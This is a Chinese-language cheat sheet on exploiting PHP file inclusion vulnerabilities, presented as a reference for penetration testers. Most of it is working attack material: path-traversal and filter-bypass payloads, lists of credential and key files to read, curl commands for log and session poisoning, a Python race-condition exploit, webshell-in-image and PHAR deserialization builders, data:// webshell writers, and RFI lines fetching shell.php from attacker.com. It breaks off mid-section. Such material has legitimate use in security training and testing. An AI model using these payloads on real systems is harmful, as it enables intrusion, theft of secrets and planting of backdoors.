梳理文件包含漏洞(File Inclusion)的原理、危险函数、利用技巧、RCE 方法与 WAF 绕过。
1、文件包含漏洞概述
1.1 定义
文件包含漏洞(File Inclusion Vulnerability)是指 Web 应用程序在包含(引入)外部文件时,将用户可控的变量直接作为文件路径参数,导致攻击者能够包含任意文件,轻则读取服务器敏感文件,重则执行任意代码(RCE)。
文件包含漏洞分为两大类:
| 类型 | 英文全称 | 包含位置 | RCE 难度 |
|---|---|---|---|
| 本地文件包含 | Local File Inclusion(LFI) | 服务器本地文件 | 🟡 需要配合利用 |
| 远程文件包含 | Remote File Inclusion(RFI) | 远程 URL 文件 | 🔴 直接 RCE |
危害:
| 危害类型 | 说明 |
|---|---|
| 敏感文件泄露 | 读取 /etc/passwd、配置文件、源码、密钥等 |
| 任意代码执行 | 包含含有 PHP 代码的文件,触发 RCE |
| WebShell 写入 | 配合文件上传、日志写入等方式落地 Shell |
| 认证绕过 | 读取数据库配置,获取管理员凭据 |
| 信息收集 | 枚举服务器文件结构、进程信息 |
1.2 漏洞影响范围
文件包含漏洞主要存在于动态语言中,以 PHP 最为常见,其次为 JSP、ASP 等:
PHP ★★★★★ 最常见,include/require 系列函数
JSP ★★★ <jsp:include>,<%@ include %>
ASP ★★ Server.Execute,#include
Python ★★ open() 配合 exec(),importlib
Node.js ★★ fs.readFile() 配合 eval()
1.3 形成原因与代码分析
文件包含漏洞的根本原因是:程序将用户可控的输入直接用于文件路径,且未进行有效的过滤或白名单校验。
用户输入(file 参数)
↓
include / require(未过滤)
↓
PHP 解释器读取并执行目标文件
(若目标文件含有 PHP 代码,则被执行)
1.4 典型漏洞代码
最简单的漏洞场景
<?php
// 危险:直接将 GET 参数用于文件包含
$page = $_GET['page'];
include($page);
// 攻击:?page=../../../../etc/passwd
// 攻击:?page=php://filter/convert.base64-encode/resource=index.php
带前后缀拼接
<?php
// 危险:添加了路径前缀和 .php 后缀
$page = $_GET['page'];
include("./pages/" . $page . ".php");
// 攻击(PHP < 5.3.4,空字节截断):?page=../../../../etc/passwd%00
// 攻击(路径穿越):?page=../config
// 攻击(伪协议绕过后缀):?page=php://filter/convert.base64-encode/resource=../config
变量覆盖导致的文件包含
<?php
// 危险:extract() 覆盖变量
extract($_GET);
include($template);
// 攻击:?template=../../../../etc/passwd
// 攻击:?template=php://input POST: <?php system('id'); ?>
配置文件中的包含
<?php
// 危险:语言切换功能
$lang = $_COOKIE['language'];
include("lang/" . $lang . ".php");
// 攻击(Cookie 注入):Cookie: language=../../../../etc/passwd%00
1.5 动态语言中的其他包含方式
<?php
// PHP 常见包含写法(均可触发漏洞)
include($_GET['f']);
include_once($_GET['f']);
require($_GET['f']);
require_once($_GET['f']);
// 间接触发
$func = 'include';
$func($_GET['f']);
// 利用 auto_prepend_file / auto_append_file(php.ini 中配置)
// 若攻击者能控制 .user.ini,可设置自动包含文件
// .user.ini 内容:auto_prepend_file=/var/log/nginx/access.log
1.6 PHP 文件包含函数
| 函数 | 说明 | 找不到文件时 | 可包含远程? |
|---|---|---|---|
include($file) |
包含并执行文件 | Warning,继续执行 | ✅(需配置) |
include_once($file) |
包含执行,同一文件只包含一次 | Warning,继续执行 | ✅(需配置) |
require($file) |
包含并执行文件 | Fatal Error,终止 | ✅(需配置) |
require_once($file) |
包含执行,同一文件只包含一次 | Fatal Error,终止 | ✅(需配置) |
readfile($file) |
读取文件并直接输出(不执行 PHP) | Warning | ✅ |
file_get_contents($file) |
读取文件内容为字符串(不执行 PHP) | Warning | ✅ |
file($file) |
读取文件为数组(不执行 PHP) | Warning | ✅ |
fopen($file, $mode) |
打开文件句柄(不执行 PHP) | Warning | ✅ |
highlight_file($file) |
高亮显示 PHP 源码 | Warning | ❌ |
show_source($file) |
同 highlight_file | Warning | ❌ |
⚠️ 注意:
include/require会执行文件中的 PHP 代码;readfile/file_get_contents只读取内容,不执行 PHP。
1.7 触发远程包含的 PHP 配置
; php.ini 中控制远程包含的关键配置
allow_url_fopen = On ; 允许通过 URL 打开文件(file_get_contents 等)
allow_url_include = On ; 允许通过 URL 包含文件(include 等,默认 Off)
; 查看当前配置
<?php
echo ini_get('allow_url_fopen'); // 1 = On
echo ini_get('allow_url_include'); // 0 = Off(默认)
phpinfo(); // 查看完整配置
1.8 其他语言危险包含函数
// JSP 文件包含(不执行包含文件中的 JSP 代码)
<%@ include file="<%=request.getParameter("page")%>" %> // 静态包含(编译时)
<jsp:include page="<%= request.getParameter("page") %>" /> // 动态包含(运行时)
// Java readFile
new FileInputStream(request.getParameter("file"));
Files.readAllBytes(Paths.get(request.getParameter("file")));
# Python 危险读取(配合 exec)
exec(open(request.args.get('file')).read())
# Jinja2 模板读取
render_template(request.args.get('template'))
<!-- ASP 文件包含 -->
<!--#include file="<%= Request("page") %>"-->
Server.Execute(Request("page"))
1.9 漏洞分类总览
文件包含漏洞
├── 本地文件包含(LFI)
│ ├── 基础路径穿越(../)
│ ├── 绝对路径包含
│ ├── 空字节截断(PHP < 5.3.4)
│ ├── 路径截断(操作系统长度限制)
│ └── 转 RCE
│ ├── 日志文件污染(Apache/Nginx/SSH)
│ ├── Session 文件包含
│ ├── phpinfo 临时文件竞争
│ ├── /proc/self/fd 文件描述符
│ ├── 包含上传文件(图片马)
│ ├── pearcmd.php 利用
│ └── PHP 伪协议
│ ├── php://filter(读源码/绕过 exit)
│ ├── php://input(执行 POST 代码)
│ ├── data://(执行内联代码)
│ ├── phar://(反序列化 RCE)
│ └── zip://(包含压缩内 PHP)
└── 远程文件包含(RFI)
├── 直接包含 http/https
├── 包含 FTP 路径
└── SMB/UNC 路径(Windows)
2、基础 LFI 利用
2.1 基础读取文件
# 直接包含绝对路径
?page=/etc/passwd
?page=/etc/shadow
?page=/var/www/html/config.php
# 路径穿越(相对路径)
?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
# 带前缀时的穿越
# include("./pages/" . $page)
?page=../../../etc/passwd # 穿越 pages/ 目录
?page=../../../../../../etc/passwd # 多级穿越确保成功
2.2 确定目录深度
# 不确定当前深度时,多加 ../ 不会出错(到根目录后不再回退)
?page=../../../../../../../../../../etc/passwd
# 通过报错信息判断路径
?page=test_nonexistent
# Warning: include(./pages/test_nonexistent.php): failed to open stream
# 从报错可得:当前包含路径为 ./pages/
# 利用 /proc/self/cwd 获取当前工作目录
?page=../../../proc/self/cwd # 软链接指向当前目录
2.3 空字节截断(Null Byte,PHP < 5.3.4)
# 当代码在参数后拼接 .php 后缀时
# include("./pages/" . $page . ".php");
# 空字节(%00)截断后缀
?page=../../../../etc/passwd%00
?page=../../../etc/passwd%00
# URL 编码的空字节
?page=../../../../etc/passwd%00
?page=../../../../etc/passwd\0
2.4 路径截断(目录长度限制)
# 适用于 PHP < 5.3 / Windows
# 利用操作系统对路径长度的限制(Linux: 4096, Windows: 260)
# 用大量 ./ 或 /. 填充,使后缀 .php 超出长度被截断
?page=../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
# Windows 路径截断(利用 . 和空格)
?page=../../../../windows/win.ini.......(大量的点)
?page=../../../../windows/win.ini (大量空格)
2.5 利用 Base64 编码读取 PHP 源码
# 使用 php://filter 读取 PHP 源码(不执行,Base64 编码输出)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=../config/database.php
# 解码命令
echo "PD9waHAK..." | base64 -d
# Python 解码
import base64
print(base64.b64decode("PD9waHAK...").decode('utf-8', errors='ignore'))
3、敏感文件路径速查
3.1 Linux 系统文件
# 用户与认证
/etc/passwd # 用户列表(含用户名/Shell)
/etc/shadow # 密码哈希(需 root)
/etc/group # 用户组信息
/etc/sudoers # sudo 权限配置
/root/.ssh/id_rsa # root SSH 私钥
/root/.ssh/authorized_keys # root SSH 公钥
/home/{user}/.ssh/id_rsa # 用户 SSH 私钥
/home/{user}/.bash_history # 历史命令
# 系统信息
/etc/os-release # 操作系统信息
/etc/hostname # 主机名
/etc/hosts # hosts 文件
/etc/resolv.conf # DNS 配置
/proc/version # 内核版本
/proc/self/environ # 当前进程环境变量(含密钥)
/proc/self/cmdline # 当前进程命令行
/proc/self/cwd # 当前工作目录(软链接)
/proc/self/exe # 当前进程二进制(软链接)
/proc/self/maps # 内存映射
/proc/net/tcp # TCP 连接(含内网端口)
/proc/net/fib_trie # 路由信息(含内网 IP)
# Web 服务器配置
/etc/apache2/apache2.conf # Apache 主配置
/etc/apache2/sites-enabled/* # Apache 虚拟主机配置
/etc/nginx/nginx.conf # Nginx 主配置
/etc/nginx/sites-enabled/* # Nginx 站点配置
/etc/nginx/conf.d/* # Nginx 额外配置
# 日志文件(可用于日志污染)
/var/log/apache2/access.log # Apache 访问日志
/var/log/apache2/error.log # Apache 错误日志
/var/log/nginx/access.log # Nginx 访问日志
/var/log/nginx/error.log # Nginx 错误日志
/var/log/auth.log # 认证日志(含 SSH 登录记录)
/var/log/mail.log # 邮件日志
/proc/self/fd/0 # 标准输入
/proc/self/fd/1 # 标准输出
/proc/self/fd/2 # 标准错误
# PHP 相关
/etc/php/*/php.ini # PHP 配置文件
/etc/php/*/fpm/pool.d/*.conf # PHP-FPM 配置
/var/lib/php/sessions/ # PHP Session 存储目录
/tmp/sess_{SESSID} # PHP Session 文件
# 数据库配置(常见 Web 框架)
/var/www/html/config.php
/var/www/html/.env # Laravel / Django 配置
/var/www/html/wp-config.php # WordPress 数据库配置
/var/www/html/config/database.php # ThinkPHP 数据库配置
/var/www/html/application/config/database.php
3.2 Windows 系统文件
# 系统文件
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\networks
C:\Windows\repair\sam # SAM 密码数据库备份
C:\Windows\System32\config\SAM # SAM 密码数据库(需权限)
C:\Windows\System32\config\SYSTEM
# Web 服务器
C:\inetpub\wwwroot\web.config # IIS 配置
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\php\php.ini
# 用户相关
C:\Users\Administrator\.ssh\id_rsa
C:\Users\{user}\AppData\Roaming\...
3.3 Web 应用常见配置文件
# 通用
/.env # 环境变量配置(含数据库密码、API Key)
/config.php / config.inc.php # PHP 配置
/database.php # 数据库配置
/settings.py # Django 设置
/application.properties # Spring Boot 配置
/application.yml # Spring Boot YAML 配置
# 框架特定
/wp-config.php # WordPress
/configuration.php # Joomla
/config/config.inc.php # phpMyAdmin
/config/database.php # CodeIgniter / Laravel
/application/config/database.php # ThinkPHP
/.htpasswd # Apache 认证文件
4、路径穿越技巧
4.1 基础穿越
# 标准路径穿越
../
../../
../../../
../../../..
# 绝对路径(无需穿越)
/etc/passwd
/var/www/html/config.php
4.2 编码绕过过滤
# URL 编码
..%2f → ../
..%5c → ..\(Windows)
%2e%2e%2f → ../
%2e%2e/ → ../
..%2F → ../(大写)
# 双重 URL 编码
..%252f → ..%2f → ../
%252e%252e%252f → ../
# Unicode / UTF-8 编码
..%c0%af → ../(非标准 UTF-8,部分服务器接受)
..%c1%9c → ..\(Windows)
%ef%bc%8f → /(全角斜杠)
%e2%80%a8 → 换行符(绕过某些检测)
# 混合编码
%2e%2e/ → ../
.%2e/ → ../
%2e./ → ../
# 多重斜杠
....// → ../(过滤 ../ 后剩余 ../)
....\/ → ..\(Windows)
..././ → ../(过滤 ./ 后剩余 ../)
4.3 绕过 str_replace 过滤
// 目标过滤代码
$page = str_replace('../', '', $_GET['page']);
// 或
$page = str_replace(['../', '..\\'], '', $_GET['page']);
# 嵌套绕过(过滤非递归时)
....// 过滤 ../ 后 → ../
....\/ 过滤 ..\ 后 → ..\
..././ 过滤 ./ 后 → ../
..\.\ 过滤 .\ 后 → ..\
# 大小写绕过(Windows 不区分大小写)
..\
.../
..%5C → ..\
# 完整绕过示例
?page=....//....//....//etc/passwd
?page=..././..././..././etc/passwd
4.4 绕过路径前缀限制
// 目标过滤代码
if (strpos($page, '/var/www/html') !== 0) die('Invalid path');
include($page);
# 满足前缀要求的同时进行穿越
?page=/var/www/html/../../../etc/passwd
?page=/var/www/html/../../../../etc/passwd
5、LFI 转 RCE 方法
当存在本地文件包含但无法上传文件时,需要借助服务器上已有的可写文件实现 RCE。
5.1 日志文件污染
原理: 将 PHP 代码写入服务器日志文件,再通过 LFI 包含该日志文件,触发代码执行。
Apache 访问日志污染
# 步骤一:向 User-Agent 中注入 PHP 代码(该内容会被写入访问日志)
curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
# 或通过 Burp Suite 修改 User-Agent 头
# User-Agent: <?php system($_GET['cmd']); ?>
# 步骤二:包含日志文件并触发执行
?page=/var/log/apache2/access.log&cmd=id
?page=/var/log/apache/access.log&cmd=id
# 常见 Apache 日志路径
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/access_log
/usr/local/apache2/log/access_log
Nginx 访问日志污染
# 步骤一:注入代码
curl -s "http://target.com/<?php system(\$_GET['cmd']); ?>"
# 将 PHP 代码放在 URL 路径中,Nginx 会将请求 URI 写入日志
# 步骤二:包含日志
?page=/var/log/nginx/access.log&cmd=id
?page=/var/log/nginx/error.log&cmd=id
# 常见 Nginx 日志路径
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/nginx/logs/access.log
SSH 认证日志污染
# 步骤一:使用含 PHP 代码的用户名尝试 SSH 登录
# 登录失败,但用户名会被写入 /var/log/auth.log
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# 步骤二:包含 auth.log
?page=/var/log/auth.log&cmd=id
# 注意:某些系统的 auth.log 需要 root 权限读取
邮件日志污染
# 若目标安装了 sendmail,尝试发送含 PHP 代码的邮件
# 收件人中注入 PHP 代码
# 或利用 mail() 函数:<?php mail('<?php system($_GET["cmd"]); ?>', '', '', ''); ?>
# 包含:/var/log/mail.log
5.2 Session 文件包含
原理: PHP Session 文件存储在服务器本地,若 Session 内容可控,则可将 PHP 代码写入 Session 文件,再通过 LFI 包含。
步骤详解
# 步骤一:向 Session 中写入 PHP 代码
# 假设目标代码如下:
# $_SESSION['username'] = $_GET['user'];
# 访问:
curl "http://target.com/index.php?user=<?php system(\$_GET['cmd']); ?>"
# 步骤二:获取当前 Session ID
# 从响应 Cookie 中获取 PHPSESSID
# 例如:PHPSESSID = abc123def456
# 步骤三:计算 Session 文件路径
# 默认路径格式:{session_save_path}/sess_{PHPSESSID}
# 常见路径:
/var/lib/php/sessions/sess_abc123def456
/var/lib/php/session/sess_abc123def456
/tmp/sess_abc123def456
/var/tmp/sess_abc123def456
# 步骤四:包含 Session 文件
?page=/var/lib/php/sessions/sess_abc123def456&cmd=id
查找 Session 存储路径
# 从 phpinfo() 获取 session.save_path
?page=php://filter/convert.base64-encode/resource=phpinfo.php
# 查找 session.save_path 字段
# 常见 session.save_path 值
/var/lib/php/sessions
/var/lib/php5/sessions
/tmp
/var/tmp
/run/shm
Session 文件格式分析
# PHP Session 文件内容格式(序列化):
# 变量名|序列化数据
username|s:28:"<?php system($_GET['cmd']); ?>";
# 文件内容可预测,包含后 PHP 会解析其中的 PHP 代码
5.3 phpinfo 临时文件竞争
原理: PHP 在处理文件上传时,会将上传的文件保存为临时文件(/tmp/phpXXXXXX),在 phpinfo() 页面中会显示该临时文件路径。通过竞争条件(Race Condition),在临时文件被删除前包含它。
攻击流程:
1. 发现目标存在 phpinfo() 页面
2. 不断发送包含恶意 PHP 代码的文件上传请求
3. phpinfo() 页面中出现临时文件路径:/tmp/phpXXXXXX
4. 同时不断向 LFI 接口发送包含该路径的请求
5. 在极短的时间窗口内包含临时文件,触发 RCE
import sys
import threading
import multiprocessing
import requests
# 攻击脚本(简化版)
PHPINFO_URL = "http://target.com/phpinfo.php"
LFI_URL = "http://target.com/index.php?page="
WEBSHELL = "<?php system($_GET['cmd']); ?>"
EXPLOIT_FILE = ("----boundary\r\n"
"Content-Disposition: form-data; name='file'; filename='exploit.php'\r\n"
"Content-Type: text/plain\r\n\r\n"
f"{WEBSHELL}\r\n"
"----boundary--\r\n")
def send_exploit():
"""不断发送文件上传请求,使临时文件存在"""
while True:
requests.post(PHPINFO_URL,
data=EXPLOIT_FILE,
headers={"Content-Type": "multipart/form-data; boundary=--boundary"})
def include_tmpfile():
"""不断请求 phpinfo,提取临时文件路径,然后包含"""
import re
while True:
r = requests.post(PHPINFO_URL,
data=EXPLOIT_FILE,
headers={"Content-Type": "multipart/form-data; boundary=--boundary"})
match = re.search(r'\[tmp_name\] => (\/tmp\/php\w+)', r.text)
if match:
tmpfile = match.group(1)
result = requests.get(LFI_URL + tmpfile + "&cmd=id")
if "uid=" in result.text:
print(f"[+] RCE Success! tmpfile: {tmpfile}")
print(result.text)
break
# 多线程攻击
t1 = threading.Thread(target=send_exploit)
t2 = threading.Thread(target=include_tmpfile)
t1.daemon = True
t1.start()
t2.start()
t2.join()
5.4 /proc/self/fd 文件描述符
原理: Linux 的 /proc/self/fd/ 目录下包含当前进程打开的所有文件描述符的软链接。如果 Apache/PHP 仍然持有日志文件的文件描述符,可以通过 /proc/self/fd/N 访问。
# 步骤一:污染日志文件(同日志污染方法)
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# 步骤二:枚举文件描述符(通常 fd/0-20 范围)
for i in $(seq 0 30); do
curl -s "http://target.com/index.php?page=/proc/self/fd/$i&cmd=id" | grep uid
done
# 或 Burp Intruder 枚举 fd 编号
?page=/proc/self/fd/10&cmd=id
?page=/proc/self/fd/11&cmd=id
...
# 常见 fd 编号
# fd/0 - 标准输入
# fd/1 - 标准输出
# fd/2 - 标准错误
# fd/3+ - 打开的文件(日志等)
# 利用 /proc/self/fd/0(stdin)
# 某些情况下可以通过标准输入传入 PHP 代码
# 结合 phpinfo 的文件上传,/proc/self/fd/0 指向上传的临时文件
5.5 包含上传文件
原理: 若目标网站允许文件上传(如图片),可将 PHP 代码嵌入图片(制作图片马),通过 LFI 包含该图片文件,触发 PHP 代码执行。
图片马制作
# 方法一:直接拼接(简单粗暴)
echo '<?php system($_GET["cmd"]); ?>' >> image.jpg
# 或
cat image.jpg <(echo '<?php system($_GET["cmd"]); ?>') > shell.jpg
# 方法二:图片文件头 + PHP 代码
printf '\xff\xd8\xff<?php system($_GET["cmd"]); ?>' > shell.jpg # JPEG
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif # GIF
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png # PNG
# 方法三:使用工具注入 EXIF
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# 方法四:Python 制作
python3 -c "
data = open('real.jpg', 'rb').read()
php_code = b'<?php system(\$_GET[\"cmd\"]); ?>'
with open('shell.jpg', 'wb') as f:
f.write(data + php_code)
"
包含图片马
# 上传后通过 LFI 包含
?page=./uploads/shell.jpg&cmd=id
?page=/var/www/html/uploads/shell.jpg&cmd=id
# 注意:若服务器对上传文件做了二次处理(如重新压缩),PHP 代码可能被清除
# 建议将代码嵌入 EXIF Comment 字段(压缩通常不影响)
5.6 pearcmd.php 利用
原理: Docker 官方 PHP 镜像默认安装 pear 工具,/usr/local/lib/php/pearcmd.php 可被利用将任意内容写入文件。
# 利用条件:
# 1. 服务器安装了 pear(Docker PHP 镜像默认有)
# 2. 存在文件包含漏洞
# 3. register_argc_argv = On(Docker 镜像默认开启)
# pearcmd.php 路径(通常)
/usr/local/lib/php/pearcmd.php
# 利用方式(通过 URL 参数控制 argv)
?+config-create+/&page=/usr/local/lib/php/pearcmd.php&/<?php system($_GET['cmd']);?>+/tmp/shell.php
# 分解:
# +config-create+ → pear 命令 config-create
# / → 第一个参数(config root)
# /<?php...?> → 第二个参数(config file 路径,被写入 PHP 代码)
# /tmp/shell.php → 写入目标路径
# 写入后包含
?page=/tmp/shell.php&cmd=id
# 更完整的利用链
# 1. 写入 WebShell
?+config-create+/&page=/usr/local/lib/php/pearcmd.php&/<?php system($_GET[cmd]);?>+/var/www/html/shell.php
# 2. 直接访问
http://target.com/shell.php?cmd=id
5.7 Nginx 缓存文件
# Nginx FastCGI 缓存路径(需知道缓存目录配置)
# 通常在 /var/cache/nginx/ 或 /tmp/nginx/
# 缓存文件名为 URL MD5 哈希
# 污染缓存:访问含 PHP 代码的 URL
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
# Nginx 会将响应缓存,若缓存文件路径可被包含...
# 通过 /proc/self/fd 获取缓存文件描述符
?page=/proc/self/fd/7&cmd=id
6、PHP 伪协议全解
PHP 伪协议(PHP Stream Wrappers)是 PHP 内置的 URL 形式的资源访问方式,在文件包含场景中可实现读取源码、执行代码等操作。
6.1 php://filter
php://filter 是文件包含中最常用的伪协议,用于读取 PHP 源码。
基础用法
# 语法:php://filter/过滤器链/resource=目标文件
# Base64 编码读取(最常用,防止 PHP 代码被执行)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/convert.base64-encode/resource=../config/database.php
# ROT13 编码读取
?page=php://filter/string.rot13/resource=index.php
# 多种过滤器链式
?page=php://filter/string.toupper/convert.base64-encode/resource=index.php
# 不编码直接读取(文件中若有 PHP 代码会被执行,适合读取非 PHP 文件)
?page=php://filter/resource=/etc/passwd
可用的过滤器
# 字符串过滤器
string.rot13 ROT-13 编码
string.toupper 转为大写
string.tolower 转为小写
string.strip_tags 去除 HTML/PHP 标签
# 转换过滤器
convert.base64-encode Base64 编码
convert.base64-decode Base64 解码
convert.quoted-printable-encode QP 编码
convert.iconv.*.* 字符集转换(可触发 RCE,见 Filter Chain)
# 压缩过滤器(需 zlib 扩展)
zlib.deflate 压缩
zlib.inflate 解压
bzip2.compress bzip2 压缩
bzip2.decompress bzip2 解压
# 加密过滤器(PHP < 7.1)
mcrypt.* 各种加密算法
mdecrypt.* 各种解密算法
绕过 "死亡 exit" 写入 WebShell
// 目标代码(写文件时插入 exit,阻止直接执行)
$content = '<?php exit; ?>' . $_POST['content'];
file_put_contents($_GET['filename'], $content);
# 方法一:Base64 解码绕过
# 原理:<?php exit; ?> 中的有效 Base64 字符为 phpexit(7 字节)
# Base64 每 3 字节为一组,7 字节 = 2组+1字节,填充为 pphpexit(8字节=3组)
# 因此构造:p(填充)+ 真正Payload 的 Base64 编码
# content 的 Base64 构造:
# pphpexit = base64: cHBocGV4aXQ=
# 要写入的 PHP: <?php system($_GET['cmd']); ?>
# 先 base64 encode: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# Payload(filename 使用 filter 链解码写入):
POST /index.php?filename=php://filter/convert.base64-decode/resource=shell.php
Content: content=pPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# 前缀 p 使 <?php exit;?> 中的内容 base64 解码后变成乱码,但真正的 payload 正常写入
# 方法二:ROT13 编码绕过
# <?php exit; ?> 经 ROT13 → <?cuc rkvg; ?>(无效 PHP)
# 将真正 Payload 进行 ROT13 编码后传入
?filename=php://filter/write=string.rot13/resource=shell.php
content: <?cuc flfgrz($_TRG['pzq']); ?> (ROT13 of <?php system($_GET['cmd']); ?>)
# 方法三:iconv 字符集转换(Filter Chain 高级用法)
?filename=php://filter/convert.iconv.UTF-8.UTF-7/resource=shell.php
# 配合特定字符集转换,使 <?php exit; ?> 失效
6.2 php://input
php://input 读取 POST 请求的原始数据,允许将 POST 数据作为 PHP 代码执行。
# 使用条件:allow_url_include = On(PHP 5.2 默认 Off)
# 基础 RCE
GET: ?page=php://input
POST: <?php system('id'); ?>
# 写入 WebShell
GET: ?page=php://input
POST: <?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[cmd]); ?>'); ?>
# 读取文件
GET: ?page=php://input
POST: <?php echo file_get_contents('/etc/passwd'); ?>
# 带参数的执行
GET: ?page=php://input&cmd=id
POST: <?php system($_GET['cmd']); ?>
# 使用 curl 发送
curl -X POST "http://target.com/index.php?page=php://input" \
-d "<?php system('id'); ?>"
6.3 data://
data:// 伪协议将数据直接嵌入 URL,无需外部文件。
# 使用条件:allow_url_include = On
# 直接执行内联 PHP 代码
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain,<?php phpinfo(); ?>
# Base64 编码(绕过 <?php 等关键字过滤)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Base64 decode: <?php system('id'); ?>
# 更多 Base64 Payload
# <?php system('id'); ?>
echo -n "<?php system('id'); ?>" | base64
# PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# <?php system($_GET['cmd']); ?>
echo -n "<?php system(\$_GET['cmd']); ?>" | base64
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# URL 编码版本(绕过部分过滤)
?page=data:text/plain,%3c%3fphp+system(%27id%27)%3b+%3f%3e
# 写入 WebShell
?page=data://text/plain;base64,PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy90bXAvc2hlbGwucGhwJywnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+Jyk7ID8+
# 解码: <?php file_put_contents('/tmp/shell.php','<?php @eval($_POST[cmd]);?>'); ?>
6.4 phar://
phar:// 协议可以访问 PHP 归档文件(PHAR)内部的文件,并在访问时触发对 PHAR 文件元数据的反序列化。
# 使用条件:
# 1. PHP >= 5.3.0
# 2. 可以上传 .phar 文件(或通过其他方式在服务器放置 phar 文件)
# 3. 目标文件操作函数(不仅限于 include)
# 可触发 phar 反序列化的函数(非常广泛!)
file_exists(), is_file(), is_dir(), stat()
file_get_contents(), file_put_contents()
fopen(), readfile(), opendir()
include(), require()
copy(), rename(), unlink()
imageloadfont(), imagecreatefromxxx()
md5_file(), sha1_file(), hash_file()
getimagesize(), exif_read_data()
zip_open(), zip_entry_read()
构造恶意 PHAR 文件
<?php
// 构造含恶意对象的 PHAR 文件
class EvilClass {
public $cmd = 'id';
function __destruct() {
system($this->cmd);
}
}
// 需要 phar.readonly = Off
// 在命令行运行:php -d phar.readonly=0 create_phar.php
@unlink('evil.phar');
$phar = new Phar('evil.phar');
$phar->startBuffering();
// 添加一个文件(必须有)
$phar->addFromString('test.txt', 'test');
// 设置 stub(PHAR 文件头)
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 设置恶意元数据(序列化对象)
$obj = new EvilClass();
$obj->cmd = 'id > /tmp/pwned.txt';
$phar->setMetadata($obj);
$phar->stopBuffering();
echo "PHAR created: evil.phar\n";
?>
# 伪装成图片(绕过文件类型检测)
cp evil.phar evil.jpg
# PHAR 文件的有效 JPEG 头:
python3 -c "
phar = open('evil.phar', 'rb').read()
# 添加 JPEG 文件头
jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00'
with open('evil.jpg', 'wb') as f:
f.write(jpeg_header + phar)
"
# 上传 evil.jpg 后触发
?page=phar:///var/www/html/uploads/evil.jpg/test.txt
# 触发 EvilClass::__destruct(),执行 system('id')
6.5 zip://
zip:// 可以访问 ZIP 压缩包内的文件,并执行其中的 PHP 代码。
# 语法:zip://路径/zip文件#内部文件名
# 注意:# 在 URL 中需编码为 %23
# 步骤一:将 shell.php 压缩为 zip
zip shell.zip shell.php
# shell.php 内容:<?php system($_GET['cmd']); ?>
# 步骤二:上传 shell.zip(可伪装为图片等)
# 重命名:mv shell.zip shell.jpg
# 步骤三:通过 zip:// 包含
?page=zip:///var/www/html/uploads/shell.jpg%23shell.php&cmd=id
# %23 = #
# 也可以用绝对路径
?page=zip://C:/xampp/htdocs/uploads/shell.zip%23shell.php&cmd=whoami # Windows
6.6 expect://
expect:// 需要 expect 扩展(默认未安装),可直接执行命令:
# 使用条件:PHP 安装了 expect 扩展(少见)
?page=expect://id
?page=expect://whoami
?page=expect://cat /etc/passwd
6.7 file://
file:// 是访问本地文件系统的伪协议,使用绝对路径:
# 读取本地文件(适合某些只过滤 ../ 但不过滤 file:// 的情况)
?page=file:///etc/passwd
?page=file:///var/www/html/config.php
?page=file://localhost/etc/passwd
?page=file:///C:/Windows/win.ini # Windows
# 注意:file:// 与直接路径 /etc/passwd 功能相同
# 在某些场景下 file:// 可以绕过对 / 开头路径的过滤
7、RFI 利用技巧
7.1 基础 RFI
# 使用条件:allow_url_fopen = On 且 allow_url_include = On
# HTTP/HTTPS 远程包含
?page=http://attacker.com/shell.php
?page=https://attacker.com/shell.php
# FTP 远程包含
?page=ftp://attacker.com/shell.php
?page=ftp://user:pass@attacker.com/shell.php
# Windows SMB/UNC 路径(Windows 服务器)
?page=\\attacker.com\share\shell.php
?page=//attacker.com/share/shell.php
7.2 RFI 攻击载荷
// attacker.com 上的 shell.php
<?php system($_GET['cmd']); ?>
// 更隐蔽的一句话
<?php @eval($_POST['cmd']); ?>
// 写入持久化 WebShell
<?php file_put_contents('/var/www/html/backdoor.php', '<?php @eval($_POST[x]);?>'); ?>
7.3 绕过 RFI 过滤
# 目标过滤了 http:// 和 https://
# 方法1:大小写
?page=Http://attacker.com/shell.php
?page=HTTP://attacker.com/shell.php
# 方法2:用 // 代替 http://(某些场景)
?page=//attacker.com/shell.php
# 方法3:FTP 代替
?page=ftp://attacker.com/shell.php
# 方法4:data:// 本地构造(不需要远程)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
# 方法5:过滤了 . 时(绕过域名中的点)
?page=http://attacker%2Ecom/shell.php
# 目标添加了 .php 后缀
# 方法1:远程服务器使用 ? 截断后缀
?page=http://attacker.com/shell.php?
# 实际请求:http://attacker.com/shell.php?.php → 服务器忽略 ?.php
# 方法2:使用 # 截断(部分场景)
?page=http://attacker.com/shell.php%23
7.4 RFI 利用链
# 攻击流程
# 1. 在攻击者服务器开启 HTTP 服务
